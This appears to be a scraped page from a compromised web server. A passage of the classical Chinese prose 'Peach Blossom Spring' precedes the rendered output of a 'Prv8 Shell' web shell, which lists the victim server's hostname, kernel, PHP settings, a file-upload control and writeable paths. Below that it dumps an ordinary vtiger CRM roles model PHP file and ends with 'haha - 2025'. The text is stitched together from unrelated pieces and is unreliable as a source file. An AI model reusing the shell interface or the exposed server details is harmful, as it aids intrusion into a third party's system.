晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/public_html/crm/modules/Settings/Roles/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/public_html/crm/modules/Settings/Roles/models/Record.php
<?php
/*+***********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *************************************************************************************/

/**
 * Roles Record Model Class
 */
class Settings_Roles_Record_Model extends Settings_Vtiger_Record_Model {

	/**
	 * Function to get the Id
	 * @return <Number> Role Id
	 */
	public function getId() {
		return $this->get('roleid');
	}

	/**
	 * Function to get the Role Name
	 * @return <String>
	 */
	public function getName() {
		return $this->get('rolename');
	}

	/**
	 * Function to get the depth of the role
	 * @return <Number>
	 */
	public function getDepth() {
		return $this->get('depth');
	}

	/**
	 * Function to get Parent Role hierarchy as a string
	 * @return <String>
	 */
	public function getParentRoleString() {
		return $this->get('parentrole');
	}

	/**
	 * Function to set the immediate parent role
	 * @return <Settings_Roles_Record_Model> instance
	 */
	public function setParent($parentRole) {
		$this->parent = $parentRole;
		return $this;
	}

	/**
	 * Function to get the immediate parent role
	 * @return <Settings_Roles_Record_Model> instance
	 */
	public function getParent() {
		if(!$this->parent) {
			$parentRoleString = $this->getParentRoleString();
			$parentComponents = explode('::', $parentRoleString);
			$noOfRoles = count($parentComponents);
			// $currentRole = $parentComponents[$noOfRoles-1];
			if($noOfRoles > 1) {
				$this->parent = self::getInstanceById($parentComponents[$noOfRoles-2]);
			} else {
				$this->parent = null;
			}
		}
		return $this->parent;
	}

	/**
	 * Function to get the immediate children roles
	 * @return <Array> - List of Settings_Roles_Record_Model instances
	 */
	public function getChildren() {
		$db = PearDatabase::getInstance();
		if(!$this->children) {
			$parentRoleString = $this->getParentRoleString();
			$currentRoleDepth = $this->getDepth();

			$sql = 'SELECT * FROM vtiger_role WHERE parentrole LIKE ? AND depth = ?';
			$params = array($parentRoleString.'::%', $currentRoleDepth+1);
			$result = $db->pquery($sql, $params);
			$noOfRoles = $db->num_rows($result);
			$roles = array();
			for ($i=0; $i<$noOfRoles; ++$i) {
				$role = self::getInstanceFromQResult($result, $i);
				$roles[$role->getId()] = $role;
			}
			$this->children = $roles;
		}
		return $this->children;
	}
	
	public function getSameLevelRoles() {
		$db = PearDatabase::getInstance();
		if(!$this->children) {
			$parentRoles = getParentRole($this->getId());
			$currentRoleDepth = $this->getDepth();
			$parentRoleString = '';
			foreach ($parentRoles as $key => $role) {
				if(empty($parentRoleString)) $parentRoleString = $role;
				else $parentRoleString = $parentRoleString.'::'.$role;
			}
			$sql = 'SELECT * FROM vtiger_role WHERE parentrole LIKE ? AND depth = ?';
			$params = array($parentRoleString.'::%', $currentRoleDepth);
			$result = $db->pquery($sql, $params);
			$noOfRoles = $db->num_rows($result);
			$roles = array();
			for ($i=0; $i<$noOfRoles; ++$i) {
				$role = self::getInstanceFromQResult($result, $i);
				$roles[$role->getId()] = $role;
			}
			$this->children = $roles;
		}
		return $this->children;
	}

	/**
	 * Function to get all the children roles
	 * @return <Array> - List of Settings_Roles_Record_Model instances
	 */
	public function getAllChildren() {
		$db = PearDatabase::getInstance();

		$parentRoleString = $this->getParentRoleString();

		$sql = 'SELECT * FROM vtiger_role WHERE parentrole LIKE ? ORDER BY depth';
		$params = array($parentRoleString.'::%');
		$result = $db->pquery($sql, $params);
		$noOfRoles = $db->num_rows($result);
		$roles = array();
		for ($i=0; $i<$noOfRoles; ++$i) {
			$role = self::getInstanceFromQResult($result, $i);
			$roles[$role->getId()] = $role;
		}
		return $roles;
	}
    
	/**
	 * Function returns profiles related to the current role
	 * @return <Array> - profile ids
	 */
    public function getProfileIdList(){
        
        $db = PearDatabase::getInstance();
        $query = 'SELECT profileid FROM vtiger_role2profile WHERE roleid=?';
        
        $result = $db->pquery($query,array($this->getId()));
        $num_rows = $db->num_rows($result);
        
        $profilesList = array();
        for($i=0; $i<$num_rows; $i++) {
            $profilesList[] = $db->query_result($result,$i,'profileid');
        }
        return $profilesList;
    }
    
    /**
     * Function to get the profile id if profile is directly related to role
     * @return id
     */
    public function getDirectlyRelatedProfileId() {
        //TODO : see if you need cache the result
        $roleId = $this->getId();
        if(empty($roleId)) {
            return false;
        }
        
        $db = PearDatabase::getInstance();
        
        $query = 'SELECT directly_related_to_role, vtiger_profile.profileid FROM vtiger_role2profile 
                  INNER JOIN vtiger_profile ON vtiger_profile.profileid = vtiger_role2profile.profileid 
                  WHERE vtiger_role2profile.roleid=?';
        $params = array($this->getId());
        
        $result = $db->pquery($query,$params);
        
		if($db->num_rows($result) == 1 && $db->query_result($result,0,'directly_related_to_role') == '1'){
           return $db->query_result($result, 0, 'profileid');
        }
        return false;
    }

	/**
	 * Function to get the Edit View Url for the Role
	 * @return <String>
	 */
	public function getEditViewUrl() {
		return 'index.php?module=Roles&parent=Settings&view=Edit&record='.$this->getId();
	}

//	public function getListViewEditUrl() {
//		return '?module=Roles&parent=Settings&view=Edit&record='.$this->getId();
//	}

	/**
	 * Function to get the Create Child Role Url for the current role
	 * @return <String>
	 */
	public function getCreateChildUrl() {
		return '?module=Roles&parent=Settings&view=Edit&parent_roleid='.$this->getId();
	}

	/**
	 * Function to get the Delete Action Url for the current role
	 * @return <String>
	 */
	public function getDeleteActionUrl() {
		return '?module=Roles&parent=Settings&view=DeleteAjax&record='.$this->getId();
	}

	/**
	 * Function to get the Popup Window Url for the current role
	 * @return <String>
	 */
	public function getPopupWindowUrl() {
		return 'module=Roles&parent=Settings&view=Popup&src_record='.$this->getId();
	}

	/**
	 * Function to get all the profiles associated with the current role
	 * @return <Array> Settings_Profiles_Record_Model instances
	 */
	public function getProfiles() {
		if(!$this->profiles) {
			$this->profiles = Settings_Profiles_Record_Model::getAllByRole($this->getId());
		}
		return $this->profiles;
	}

	/**
	 * Function to add a child role to the current role
	 * @param <Settings_Roles_Record_Model> $role
	 * @return Settings_Roles_Record_Model instance
	 */
	public function addChildRole($role) {
		$role->setParent($this);
		$role->save();
		return $role;
	}

	/**
	 * Function to move the current role and all its children nodes to the new parent role
	 * @param <Settings_Roles_Record_Model> $newParentRole
	 */
	public function moveTo($newParentRole) {
		$currentDepth = $this->getDepth();
		$currentParentRoleString = $this->getParentRoleString();

		$newDepth = $newParentRole->getDepth() + 1;
		$newParentRoleString = $newParentRole->getParentRoleString() .'::'. $this->getId();

		$depthDifference = $newDepth - $currentDepth;
		$allChildren = $this->getAllChildren();

		$this->set('depth', $newDepth);
		$this->set('parentrole', $newParentRoleString);
		$this->set('allowassignedrecordsto', $this->get('allowassignedrecordsto'));
		$this->save();

		foreach($allChildren as $roleId => $roleModel) {
			$oldChildDepth = $roleModel->getDepth();
			$newChildDepth = $oldChildDepth + $depthDifference;

			$oldChildParentRoleString = $roleModel->getParentRoleString();
			$newChildParentRoleString = str_replace($currentParentRoleString, $newParentRoleString, $oldChildParentRoleString);

			$roleModel->set('depth', $newChildDepth);
			$roleModel->set('parentrole', $newChildParentRoleString);
			$roleModel->set('allowassignedrecordsto', $roleModel->get('allowassignedrecordsto'));
			$roleModel->save();
		}
	}

	/**
	 * Function to save the role
	 */
	public function save() {
		$db = PearDatabase::getInstance();
		$roleId = $this->getId();
		$mode = 'edit';

		if(empty($roleId)) {
			$mode = '';
			$roleIdNumber = $db->getUniqueId('vtiger_role');
			$roleId = 'H'.$roleIdNumber;
		}
		$parentRole = $this->getParent();
		if($parentRole != null) {
			$this->set('depth', $parentRole->getDepth()+1);
			$this->set('parentrole', $parentRole->getParentRoleString() .'::'. $roleId);
		}

		if($mode == 'edit') {
			$sql = 'UPDATE vtiger_role SET rolename=?, parentrole=?, depth=?, allowassignedrecordsto=? WHERE roleid=?';
			$params = array($this->getName(), $this->getParentRoleString(), $this->getDepth(), $this->get('allowassignedrecordsto'), $roleId);
			$db->pquery($sql, $params);
		} else {
			$sql = 'INSERT INTO vtiger_role(roleid, rolename, parentrole, depth, allowassignedrecordsto) VALUES (?,?,?,?,?)';
			$params = array($roleId, $this->getName(), $this->getParentRoleString(), $this->getDepth(), $this->get('allowassignedrecordsto'));
			$db->pquery($sql, $params);
			$picklist2RoleSQL = "INSERT INTO vtiger_role2picklist SELECT '".$roleId."',picklistvalueid,picklistid,sortid
					FROM vtiger_role2picklist WHERE roleid = ?";
			$db->pquery($picklist2RoleSQL, array($parentRole->getId()));
		}

		$profileIds = $this->get('profileIds');
		if(empty($profileIds)) {
			$profiles = $this->getProfiles();
			if(!empty($profiles) && count($profiles) > 0) {
				$profileIds = array_keys($profiles);
			}
		}
		if(!empty($profileIds)) {
			$noOfProfiles = count($profileIds);
			if($noOfProfiles > 0) {
				$db->pquery('DELETE FROM vtiger_role2profile WHERE roleid=?', array($roleId));

				$sql = 'INSERT INTO vtiger_role2profile(roleid, profileid) VALUES (?,?)';
				for($i=0; $i<$noOfProfiles; ++$i) {
					$params = array($roleId, $profileIds[$i]);
					$db->pquery($sql, $params);
				}
			}
		}
	}

	/**
	 * Function to delete the role
	 * @param <Settings_Roles_Record_Model> $transferToRole
	 */
	public function delete($transferToRole) {
		require_once('modules/Users/CreateUserPrivilegeFile.php');
		$db = PearDatabase::getInstance();
		$roleId = $this->getId();
		$transferRoleId = $transferToRole->getId();

		// get all the users tp recreate user_privileges files
		$usersResult = $db->pquery('SELECT userid FROM vtiger_user2role WHERE roleid = ?', array($roleId));
		$usersCount = $db->num_rows($usersResult);
		$users = array();
		for($i=0; $i<$usersCount; $i++) {
			$users[] = $db->query_result($usersResult, $i, 'userid');
		}
		
		$db->pquery('UPDATE vtiger_user2role SET roleid=? WHERE roleid=?', array($transferRoleId, $roleId));

		$db->pquery('DELETE FROM vtiger_role2profile WHERE roleid=?', array($roleId));
		$db->pquery('DELETE FROM vtiger_group2role WHERE roleid=?', array($roleId));
		$db->pquery('DELETE FROM vtiger_group2rs WHERE roleandsubid=?', array($roleId));

		//delete handling for sharing rules
		deleteRoleRelatedSharingRules($roleId);

		$db->pquery('DELETE FROM vtiger_role WHERE roleid=?', array($roleId));

		$allChildren = $this->getAllChildren();
		$transferParentRoleSequence = $transferToRole->getParentRoleString();
		$currentParentRoleSequence = $this->getParentRoleString();

		foreach($allChildren as $roleId => $roleModel) {
			$oldChildParentRoleString = $roleModel->getParentRoleString();
			$newChildParentRoleString = str_replace($currentParentRoleSequence, $transferParentRoleSequence, $oldChildParentRoleString);
			$newChildDepth = count(explode('::', $newChildParentRoleString))-1;
			$roleModel->set('depth', $newChildDepth);
			$roleModel->set('parentrole', $newChildParentRoleString);
			$roleModel->save();
		}

		foreach($users as $userId) {
			createUserPrivilegesfile($userId);
			createUserSharingPrivilegesfile($userId);
		}
	}

	/**
	 * Function to get the list view actions for the record
	 * @return <Array> - Associate array of Vtiger_Link_Model instances
	 */
	public function getRecordLinks() {

		$links = array();
		if($this->getParent()) {
			$recordLinks = array(
				array(
					'linktype' => 'LISTVIEWRECORD',
					'linklabel' => 'LBL_EDIT_RECORD',
					'linkurl' => $this->getListViewEditUrl(),
					'linkicon' => 'icon-pencil'
				),
				array(
					'linktype' => 'LISTVIEWRECORD',
					'linklabel' => 'LBL_DELETE_RECORD',
					'linkurl' => $this->getDeleteActionUrl(),
					'linkicon' => 'icon-trash'
				)
			);
			foreach($recordLinks as $recordLink) {
				$links[] = Vtiger_Link_Model::getInstanceFromValues($recordLink);
			}
		}

		return $links;
	}

	/**
	 * Function to get the instance of Roles record model from query result
	 * @param <Object> $result
	 * @param <Number> $rowNo
	 * @return Settings_Roles_Record_Model instance
	 */
	public static function getInstanceFromQResult($result, $rowNo) {
		$db = PearDatabase::getInstance();
		$row = $db->query_result_rowdata($result, $rowNo);
		$role = new self();
		return $role->setData($row);
	}

	/**
	 * Function to get all the roles
	 * @param <Boolean> $baseRole
	 * @return <Array> list of Role models <Settings_Roles_Record_Model>
	 */
	public static function getAll($baseRole = false) {
		$db = PearDatabase::getInstance();
		$params = array();

		$sql = 'SELECT * FROM vtiger_role';
		if (!$baseRole) {
			$sql .= ' WHERE depth != ?';
			$params[] = 0;
		}
		$sql .= ' ORDER BY parentrole';

		$result = $db->pquery($sql, $params);
		$noOfRoles = $db->num_rows($result);

		$roles = array();
		for ($i=0; $i<$noOfRoles; ++$i) {
			$role = self::getInstanceFromQResult($result, $i);
			$roles[$role->getId()] = $role;
		}
		return $roles;
	}

	/**
	 * Function to get the instance of Role model, given role id
	 * @param <Integer> $roleId
	 * @return Settings_Roles_Record_Model instance, if exists. Null otherwise
	 */
	public static function getInstanceById($roleId) {
		$db = PearDatabase::getInstance();
        
        $instance = Vtiger_Cache::get('roleById',$roleId);
        if($instance){
            return $instance;
        }
        
        $sql = 'SELECT * FROM vtiger_role WHERE roleid = ?';
        $params = array($roleId);
        $result = $db->pquery($sql, $params);
        if($db->num_rows($result) > 0) {
            $instance =  self::getInstanceFromQResult($result, 0);
            Vtiger_Cache::set('roleById',$roleId,$instance);
            return $instance;
        }
		return null;
	}

	/**
	 * Function to get the instance of Base Role model
	 * @return Settings_Roles_Record_Model instance, if exists. Null otherwise
	 */
	public static function getBaseRole() {
		$db = PearDatabase::getInstance();

		$sql = 'SELECT * FROM vtiger_role WHERE depth=0 LIMIT 1';
		$params = array();
		$result = $db->pquery($sql, $params);
		if($db->num_rows($result) > 0) {
			return self::getInstanceFromQResult($result, 0);
		}
		return null;
	}
	
	/* Function to get the instance of the role by Name
    * @param type $name -- name of the role
    * @return null/role instance
    */
   public static function getInstanceByName($name, $excludedRecordId = array()) {
       $db = PearDatabase::getInstance();
       $sql = 'SELECT * FROM vtiger_role WHERE rolename=?';
       $params = array($name);
       if(!empty($excludedRecordId)){
           $sql.= ' AND roleid NOT IN ('.generateQuestionMarks($excludedRecordId).')';
           $params = array_merge($params,$excludedRecordId);
       }
       $result = $db->pquery($sql, $params);
       if($db->num_rows($result) > 0) {
		   return self::getInstanceFromQResult($result, 0);
	   }
	   return null;
   }

   /**
    * Function to get Users who are from this role
    * @return <Array> User record models list <Users_Record_Model>
    */
   public function getUsers() {
	   $db = PearDatabase::getInstance();
	   $result = $db->pquery('SELECT userid FROM vtiger_user2role WHERE roleid = ?', array($this->getId()));
	   $numOfRows = $db->num_rows($result);

	   $usersList = array();
	   for($i=0; $i<$numOfRows; $i++) {
		   $userId = $db->query_result($result, $i, 'userid');
		   $usersList[$userId] = Users_Record_Model::getInstanceById($userId, 'Users');
	   }
	   return $usersList;
   }
}

haha - 2025